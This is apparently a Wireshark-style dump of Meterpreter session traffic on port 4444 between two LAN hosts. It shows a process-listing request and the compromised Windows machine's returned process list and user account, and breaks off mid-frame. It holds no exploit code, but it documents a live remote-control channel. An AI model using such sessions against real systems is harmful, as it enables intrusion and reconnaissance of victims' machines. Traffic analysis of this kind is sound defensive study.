0400  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0410  65 00 00 00 00 5c 40 00 08 ff 00 00 00 0c 00 02   e....\@.........
0420  08 fc 00 00 03 0c 00 00 00 24 00 01 04 12 73 66   .........$....sf
0430  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0440  69 2d 75 73 75 61 72 69 6f 00 00 00 00 12 00 01   i-usuario.......
0450  08 fd 41 6d 70 70 73 2e 65 78 65 00 00 00 00 12   ..Ampps.exe.....
0460  00 01 08 fe 41 6d 70 70 73 2e 65 78 65 00 00 00   ....Ampps.exe...
0470  00 5c 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .\@.............
0480  1c 7c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .|...$....sfcpro
0490  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
04a0  75 61 72 69 6f 00 00 00 00 12 00 01 08 fd 68 74   uario.........ht
04b0  74 70 64 2e 65 78 65 00 00 00 00 12 00 01 08 fe   tpd.exe.........
```

```
04c0  68 74 74 70 64 2e 65 78 65 00 00 00 00 60 40 00   httpd.exe....`@.
04d0  08 ff 00 00 00 0c 00 02 08 fc 00 00 0d 88 00 00   ................
04e0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
04f0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0500  6f 00 00 00 00 14 00 01 08 fd 63 6f 6e 68 6f 73   o.........conhos
0510  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 63 6f   t.exe.........co
0520  6e 68 6f 73 74 2e 65 78 65 00 00 00 00 5c 40 00   nhost.exe....\@.
0530  08 ff 00 00 00 0c 00 02 08 fc 00 00 0a 40 00 00   .............@..
0540  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0550  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0560  6f 00 00 00 00 12 00 01 08 fd 68 74 74 70 64 2e   o.........httpd.
0570  65 78 65 00 00 00 00 12 00 01 08 fe 68 74 74 70   exe.........http
0580  64 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   d.exe....^@.....
0590  00 0c 00 02 08 fc 00 00 19 98 00 00 00 24 00 01   .............$..
05a0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
05b0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
05c0  00 13 00 01 08 fd 6d 79 73 71 6c 64 2e 65 78 65   ......mysqld.exe
05d0  00 00 00 00 13 00 01 08 fe 6d 79 73 71 6c 64 2e   .........mysqld.
05e0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
05f0  00 02 08 fc 00 00 1e f4 00 00 00 24 00 01 04 12   ...........$....
0600  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0610  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
0620  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
0630  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0640  65 00 00 00 00 66 40 00 08 ff 00 00 00 0c 00 02   e....f@.........
0650  08 fc 00 00 27 7c 00 00 00 24 00 01 04 12 73 66   ....'|...$....sf
0660  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0670  69 2d 75 73 75 61 72 69 6f 00 00 00 00 17 00 01   i-usuario.......
0680  08 fd 56 69 72 74 75 61 6c 42 6f 78 2e 65 78 65   ..VirtualBox.exe
0690  00 00 00 00 17 00 01 08 fe 56 69 72 74 75 61 6c   .........Virtual
06a0  42 6f 78 2e 65 78 65 00 00 00 00 66 40 00 08 ff   Box.exe....f@...
06b0  00 00 00 0c 00 02 08 fc 00 00 27 84 00 00 00 24   ..........'....$
06c0  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
06d0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
06e0  00 00 00 17 00 01 08 fd 56 69 72 74 75 61 6c 42   ........VirtualB
06f0  6f 78 2e 65 78 65 00 00 00 00 17 00 01 08 fe 56   ox.exe.........V
0700  69 72 74 75 61 6c 42 6f 78 2e 65 78 65 00 00 00   irtualBox.exe...
0710  00 66 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .f@.............
0720  27 8c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   '....$....sfcpro
0730  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0740  75 61 72 69 6f 00 00 00 00 17 00 01 08 fd 56 69   uario.........Vi
0750  72 74 75 61 6c 42 6f 78 2e 65 78 65 00 00 00 00   rtualBox.exe....
0760  17 00 01 08 fe 56 69 72 74 75 61 6c 42 6f 78 2e   .....VirtualBox.
0770  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
0780  00 02 08 fc 00 00 25 18 00 00 00 24 00 01 04 12   ......%....$....
0790  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
07a0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
07b0  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
07c0  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
07d0  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
07e0  08 fc 00 00 24 1c 00 00 00 24 00 01 04 12 73 66   ....$....$....sf
07f0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0800  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
0810  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
0820  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
0830  00 00 00 60 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...`@...........
0840  00 00 27 f8 00 00 00 24 00 01 04 12 73 66 63 70   ..'....$....sfcp
0850  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0860  75 73 75 61 72 69 6f 00 00 00 00 14 00 01 08 fd   usuario.........
0870  64 6c 6c 68 6f 73 74 2e 65 78 65 00 00 00 00 14   dllhost.exe.....
0880  00 01 08 fe 64 6c 6c 68 6f 73 74 2e 65 78 65 00   ....dllhost.exe.
0890  00 00 00 5a 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...Z@...........
08a0  00 00 26 08 00 00 00 24 00 01 04 12 73 66 63 70   ..&....$....sfcp
08b0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
08c0  75 73 75 61 72 69 6f 00 00 00 00 11 00 01 08 fd   usuario.........
08d0  43 6f 64 65 2e 65 78 65 00 00 00 00 11 00 01 08   Code.exe........
08e0  fe 43 6f 64 65 2e 65 78 65 00 00 00 00 5a 40 00   .Code.exe....Z@.
08f0  08 ff 00 00 00 0c 00 02 08 fc 00 00 26 d8 00 00   ............&...
0900  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0910  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0920  6f 00 00 00 00 11 00 01 08 fd 43 6f 64 65 2e 65   o.........Code.e
0930  78 65 00 00 00 00 11 00 01 08 fe 43 6f 64 65 2e   xe.........Code.
0940  65 78 65 00 00 00 00 5a 40 00 08 ff 00 00 00 0c   exe....Z@.......
0950  00 02 08 fc 00 00 27 c4 00 00 00 24 00 01 04 12   ......'....$....
0960  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0970  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 11   emi-usuario.....
0980  00 01 08 fd 43 6f 64 65 2e 65 78 65 00 00 00 00   ....Code.exe....
0990  11 00 01 08 fe 43 6f 64 65 2e 65 78 65 00 00 00   .....Code.exe...
09a0  00 5a 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .Z@.............
09b0  26 cc 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   &....$....sfcpro
09c0  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
09d0  75 61 72 69 6f 00 00 00 00 11 00 01 08 fd 43 6f   uario.........Co
09e0  64 65 2e 65 78 65 00 00 00 00 11 00 01 08 fe 43   de.exe.........C
09f0  6f 64 65 2e 65 78 65 00 00 00 00 5a 40 00 08 ff   ode.exe....Z@...
0a00  00 00 00 0c 00 02 08 fc 00 00 29 2c 00 00 00 24   ..........),...$
```

```
0a10  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0a20  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0a30  00 00 00 11 00 01 08 fd 43 6f 64 65 2e 65 78 65   ........Code.exe
0a40  00 00 00 00 11 00 01 08 fe 43 6f 64 65 2e 65 78   .........Code.ex
0a50  65 00 00 00 00 5a 40 00 08 ff 00 00 00 0c 00 02   e....Z@.........
0a60  08 fc 00 00 22 fc 00 00 00 24 00 01 04 12 73 66   ...."....$....sf
0a70  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0a80  69 2d 75 73 75 61 72 69 6f 00 00 00 00 11 00 01   i-usuario.......
0a90  08 fd 43 6f 64 65 2e 65 78 65 00 00 00 00 11 00   ..Code.exe......
0aa0  01 08 fe 43 6f 64 65 2e 65 78 65 00 00 00 00 6e   ...Code.exe....n
0ab0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 2a 04   @.............*.
0ac0  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
0ad0  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
0ae0  72 69 6f 00 00 00 00 1b 00 01 08 fd 53 79 73 74   rio.........Syst
0af0  65 6d 53 65 74 74 69 6e 67 73 2e 65 78 65 00 00   emSettings.exe..
0b00  00 00 1b 00 01 08 fe 53 79 73 74 65 6d 53 65 74   .......SystemSet
0b10  74 69 6e 67 73 2e 65 78 65 00 00 00 00 5e 40 00   tings.exe....^@.
0b20  08 ff 00 00 00 0c 00 02 08 fc 00 00 0e 30 00 00   .............0..
0b30  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0b40  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0b50  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
0b60  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
0b70  6f 6d 65 2e 65 78 65 00 00 00 00 68 40 00 08 ff   ome.exe....h@...
0b80  00 00 00 0c 00 02 08 fc 00 00 25 c0 00 00 00 24   ..........%....$
0b90  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0ba0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0bb0  00 00 00 18 00 01 08 fd 73 6d 61 72 74 73 63 72   ........smartscr
0bc0  65 65 6e 2e 65 78 65 00 00 00 00 18 00 01 08 fe   een.exe.........
0bd0  73 6d 61 72 74 73 63 72 65 65 6e 2e 65 78 65 00   smartscreen.exe.
0be0  00 00 00 60 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...`@...........
0bf0  00 00 25 88 00 00 00 24 00 01 04 12 73 66 63 70   ..%....$....sfcp
0c00  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0c10  75 73 75 61 72 69 6f 00 00 00 00 14 00 01 08 fd   usuario.........
0c20  6e 6f 74 65 70 61 64 2e 65 78 65 00 00 00 00 14   notepad.exe.....
0c30  00 01 08 fe 6e 6f 74 65 70 61 64 2e 65 78 65 00   ....notepad.exe.
0c40  00 00 00 76 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...v@...........
0c50  00 00 21 e4 00 00 00 24 00 01 04 12 73 66 63 70   ..!....$....sfcp
0c60  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0c70  75 73 75 61 72 69 6f 00 00 00 00 1f 00 01 08 fd   usuario.........
0c80  62 61 63 6b 67 72 6f 75 6e 64 54 61 73 6b 48 6f   backgroundTaskHo
0c90  73 74 2e 65 78 65 00 00 00 00 1f 00 01 08 fe 62   st.exe.........b
0ca0  61 63 6b 67 72 6f 75 6e 64 54 61 73 6b 48 6f 73   ackgroundTaskHos
0cb0  74 2e 65 78 65 00 00 00 00 58 40 00 08 ff 00 00   t.exe....X@.....
0cc0  00 0c 00 02 08 fc 00 00 05 54 00 00 00 24 00 01   .........T...$..
0cd0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0ce0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0cf0  00 10 00 01 08 fd 63 6d 64 2e 65 78 65 00 00 00   ......cmd.exe...
0d00  00 10 00 01 08 fe 63 6d 64 2e 65 78 65 00 00 00   ......cmd.exe...
0d10  00 60 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .`@.............
0d20  13 38 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .8...$....sfcpro
0d30  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0d40  75 61 72 69 6f 00 00 00 00 14 00 01 08 fd 63 6f   uario.........co
0d50  6e 68 6f 73 74 2e 65 78 65 00 00 00 00 14 00 01   nhost.exe.......
0d60  08 fe 63 6f 6e 68 6f 73 74 2e 65 78 65 00 00 00   ..conhost.exe...
0d70  00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .b@.............
0d80  15 30 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .0...$....sfcpro
0d90  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0da0  75 61 72 69 6f 00 00 00 00 15 00 01 08 fd 74 61   uario.........ta
0db0  73 6b 6c 69 73 74 2e 65 78 65 00 00 00 00 15 00   sklist.exe......
0dc0  01 08 fe 74 61 73 6b 6c 69 73 74 2e 65 78 65 00   ...tasklist.exe.
0dd0  00 00 00 4a 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...J@...........
0de0  00 00 15 6c 00 00 00 0c 00 01 04 12 4e 2f 41 00   ...l........N/A.
0df0  00 00 00 15 00 01 08 fd 57 6d 69 50 72 76 53 45   ........WmiPrvSE
0e00  2e 65 78 65 00 00 00 00 15 00 01 08 fe 57 6d 69   .exe.........Wmi
0e10  50 72 76 53 45 2e 65 78 65 00 00 00 00 0c 00 02   PrvSE.exe.......
0e20  00 04 00 00 00 00                                 ......
```

```
    199 3790.646433    192.168.1.42          192.168.1.41          MTRPROT  144    4444 → 50768 [PSH, ACK] Seq=10053 Ack=35467
Win=167 Len=90
Frame 199: 144 bytes on wire (1152 bits), 144 bytes captured (1152 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 10053, Ack: 35467, Len: 90
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005a [Command length]: 90
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000290001000173746461706 95f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000029000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765745f70... [Value] stdapi_sys_process_get_processes
Meterpreter protocol, TLV details
    Data: 00000029000100023638383131393634393631313930303031... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3638383131393634393631313930303130393939333133733... [Value] 68811964961190010999317327873015
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 82 64 a6 40 00 40 06 52 2c c0 a8 01 2a c0 a8   ..d.@.@.R,...*..
0020  01 29 11 5c c6 50 2e 7d 39 b8 a3 79 27 e1 50 18   .).\.P.}9..y'.P.
0030  00 a7 84 18 00 00 00 00 00 5a 00 00 00 00 00 00   .........Z......
0040  00 29 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .)....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 5f 70 72 6f   _process_get_pro
0060  63 65 73 73 65 73 00 00 00 00 29 00 01 00 02 36   cesses....)....6
0070  38 38 31 31 39 36 34 39 36 31 31 39 30 30 31 30   8811964961190010
0080  39 39 39 33 31 37 33 32 37 38 37 33 30 31 35 00   999317327873015.
```

```
    200 3794.232397    192.168.1.41          192.168.1.42          MTRPROT  8246   50768 → 4444 [PSH, ACK] Seq=35467 Ack=10143
Win=2049 Len=8192
Frame 200: 8246 bytes on wire (65968 bits), 8246 bytes captured (65968 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 35467, Ack: 10143, Len: 8192
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00002df0 [Command length]: 11760
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002900010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000290001000173746461706 95f7379735f70726f6365... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765745f70... [Value] stdapi_sys_process_get_processes
Meterpreter protocol, TLV details
    Data: 00000029000100023638383131393634393631313930303 1... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 36383831313936343936313139303031303939393331373 3... [Value] 68811964961190010999317327873015
Meterpreter protocol, TLV details
    Data: 00000068400008ff0000000c000208fc000000000000001c... [TLV]
    Command: 0x00000068 [Length]: 104
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000000000000001c000104124e542041... [Value] ⍰⍰⍰�⍰⍰⍰⍰NT AUTHORITY\SYSTEM⍰⍰⍰�System Idle
Process⍰⍰⍰�System Idle Process
Meterpreter protocol, TLV details
    Data: 0000003e400008ff0000000c000208fc000000040000000c... [TLV]
    Command: 0x0000003e [Length]: 62
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000000040000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰⍰⍰⍰⍰N/A⍰⍰⍰�System⍰⍰⍰�System
Meterpreter protocol, TLV details
    Data: 00000042400008ff0000000c000208fc000001700000000c... [TLV]
    Command: 0x00000042 [Length]: 66
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000001700000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰p⍰⍰⍰⍰N/A⍰⍰⍰�smss.exe⍰⍰⍰�smss.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc000002240000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002240000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰$⍰⍰⍰⍰N/A⍰⍰⍰�csrss.exe⍰⍰⍰�csrss.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000002780000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002780000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰x⍰⍰⍰⍰N/A⍰⍰⍰�wininit.exe⍰⍰⍰�wininit.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc000002fc0000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002fc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�services.exe⍰⍰⍰�services.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc000003040000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003040000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰⍰⍰⍰⍰⍰N/A⍰⍰⍰�lsass.exe⍰⍰⍰�lsass.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003600000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003600000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰`⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003a40000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003a40000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc0000015c0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000015c0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰\⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000001980000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000001980000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000002740000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002740000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰t⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004240000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004240000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰$⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004640000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004640000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰d⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc0000047c0000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000047c0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰|⍰⍰⍰⍰N/A⍰⍰⍰�WUDFHost.exe⍰⍰⍰�WUDFHost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004cc0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004cc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000005640000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000005640000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰d⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000006600000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006600000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰`⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000006980000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006980000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000007940000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000007940000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003780000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003780000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰x⍰⍰⍰⍰N/A⍰⍰⍰�spoolsv.exe⍰⍰⍰�spoolsv.exe
Meterpreter protocol, TLV details
    Data: 00000046400008ff0000000c000208fc000008c40000000c... [TLV]
    Command: 0x00000046 [Length]: 70
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008c40000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�armsvc.exe⍰⍰⍰�armsvc.exe
Meterpreter protocol, TLV details
    Data: 00000054400008ff0000000c000208fc000008cc0000000c... [TLV]
    Command: 0x00000054 [Length]: 84
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008cc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�mDNSResponder.exe⍰⍰⍰�mDNSResponder.exe
Meterpreter protocol, TLV details
    Data: 0000006a400008ff0000000c000208fc000008d40000000c... [TLV]
    Command: 0x0000006a [Length]: 106
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008d40000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A%⍰⍰�AppleMobileDeviceService.exe
%⍰⍰�AppleMobileDeviceService.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc0000091c0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000091c0000000c000104124e2f4100... [Value] ⍰⍰⍰� ⍰⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000004e400008ff0000000c000208fc000009300000000c... [TLV]
    Command: 0x0000004e [Length]: 78
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009300000000c000104124e2f4100... [Value] ⍰⍰⍰� 0⍰⍰⍰⍰N/A⍰⍰⍰�creator-ws.exe⍰⍰⍰�creator-ws.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009840000000c... [TLV]
    Command: 0x00000048 [Length]: 72
